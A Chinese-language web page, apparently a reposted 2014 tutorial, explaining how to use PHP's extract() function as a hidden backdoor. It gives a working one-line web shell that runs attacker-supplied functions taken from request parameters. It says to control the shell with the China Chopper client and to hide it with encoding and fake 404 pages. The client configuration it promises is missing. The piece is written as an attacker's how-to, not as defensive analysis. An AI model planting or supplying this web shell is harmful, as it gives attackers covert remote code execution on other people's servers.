服务器 > 网络安全 > 脚本攻防

ODOR1–PHP extract 后门使用方法

62人参与 2016-08-22 脚本攻防

php extract 函数后门
auth:winger[l4f][cgh]
date: 2014-02-24
今天介绍的是一种新的php后门: extract 函数后门.


复制代码
代码如下:

extract
(php 4, php 5)
extract — 从数组中将变量导入到当前的符号表
int extract ( array &$var_array [, int $extract_type = extr_overwrite [, string $prefix = null ]] )
本函数用来将变量从数组中导入到当前的符号表中.


具体应用:

1: php中extract函数各种用法介绍
2: php extract() 函数
3: 官方文档
4: php-backdoors-hidden-with-clever-use-of-extract-function
接下来操刀上马:)
服务端代码:

复制代码
代码如下:

<?@extract($_request);@die($err($info));?>




菜刀使用附加数据提交功能,"编辑shell-->配置",填入下面的内容:



最后加上各种编码,标签和404....你懂得( ‵▽′)ψ
(0)
打赏 微信扫一扫 微信扫一扫

您想发表意见!!点此发布评论

推荐阅读

过安全狗/D盾/360的PHP一句话木马与防范方法

08-22

网络入侵也玩双通道

10-08

[PHP是世界上最好的语言] 不信你看这款PHP写的敲诈者木马

06-25

知道对方IP入侵别人的电脑

10-08

前端安全之XSS攻击

05-20

Cmd模式下的入侵技术大全

10-08

猜你喜欢

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论